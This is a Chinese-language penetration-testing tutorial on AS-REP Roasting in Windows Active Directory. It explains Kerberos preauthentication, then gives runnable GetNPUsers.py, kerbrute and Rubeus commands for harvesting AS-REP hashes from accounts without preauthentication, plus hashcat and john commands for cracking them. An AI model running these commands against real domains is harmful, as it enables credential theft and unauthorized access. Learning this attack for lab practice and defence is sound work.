权限:域账户 描述: AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。但是该攻击方式利用比较局限,因为其需要用户账号设置 “Do not require Kerberos preauthentication(不需要kerberos预身份验证) “ 。而该属性默认是没有勾选上的。 预身份验证是Kerberos身份验证的第一步(AS_REQ & AS_REP),它的主要作用是防止密码脱机爆破。默认情况下,预身份验证是开启的,KDC 会记录密码错误次数,防止在线爆破。

预身份验证可防止脱机密码破解。启用后,请求访问资源的用户通过发送身份验证服务器请求 (AS-REQ) 消息来启动与域控制器 (DC) 的通信,该消息的时间戳使用用户密码哈希进行加密。当且仅当 DC 能够使用用户密码的哈希成功解密时间戳时,它将向用户发送包含票证授予票证 (TGT) 的身份验证服务器响应 (AS-REP) 消息。AS-REP 消息的一部分使用用户的密码进行签名。如果禁用了预身份验证,则在AS-REQ阶段就不需要用Client Master Key加密timestamp,用于KDC验证Client。因此,攻击者可以伪装成任意用户发出AS-REQ,而AES-REP中的Session Key是由Client Master Key加密的;一旦攻击者拿到AES-REP后便可暴力破解,如果能顺利解密说明破解成功。

对于发现的每个未进行预身份验证的帐户,攻击者可能会发送没有加密时间戳的 AS-REQ 消息,并接收包含 TGT 数据的 AS-REP 消息,这些数据可能使用 RC4 等不安全算法进行加密。恢复的加密数据可能容易受到类似于 Kerberoasting 的离线密码破解攻击,并暴露明文凭据。

在进行此攻击之前,我们需要先获取一个域账户列表
  1. Administrator
  2. admin
  3. thm
  4. test
  5. sshd
  6. victim
  7. CREDS-HARVESTIN$

利用

枚举

查找设置了不需要身份验证的用户

GetNPUsers.py

我们使用 GetNPUsers.py 进行攻击:

  1. # No domain credential, bruteforce names with a wordlist
  2. GetNPUsers.py <Domain/> -dc-ip <IP> -usersfile <Wordlist> -format hashcat | grep -v 'Kerberos SessionError:'
  3. GetNPUsers.py security/ -dc-ip 10.10.10.10 -usersfile names.txt -format hashcat | grep -v 'Kerberos SessionError:'
  4. # Valid domain credentials, extract from all domain accounts
  5. GetNPUsers.py <Domain>/<User>:<Password> -request -format john | grep "$krb5asrep$"
  6. GetNPUsers.py security.local/moe:'Password123' -request -dc-ip 10.10.10.10 -format john | grep "$krb5asrep$"

Kerbrute

  1. ./kerbrute userenum <Wordlist> --dc <IP> --domain <Domain>
  2. kerbrute userenum names.txt --dc 10.10.10.10 --domain security.local

【Windows域】AS-REP Roasting - 图1

Rubeus

Link:https://github.com/GhostPack/Rubeus

  1. # Extract from all domain accounts
  2. .\Rubeus.exe asreproast
  3. .\Rubeus.exe asreproast /format:hashcat /outfile:C:Hashes.txt

hash 破解

插入 $23<font style="color:rgb(33, 37, 41);">$krb5asrep$</font>之后,变为:<font style="color:rgb(33, 37, 41);">$krb5asrep$23$User.....</font>

  1. # Windows
  2. hashcat64.exe -m 18200 c:Hashes.txt rockyou.txt
  3. # Linux
  4. john --wordlist rockyou.txt Hashes.txt
  5. hashcat -m 18200 -a 3 Hashes.txt rockyou.txt

靶场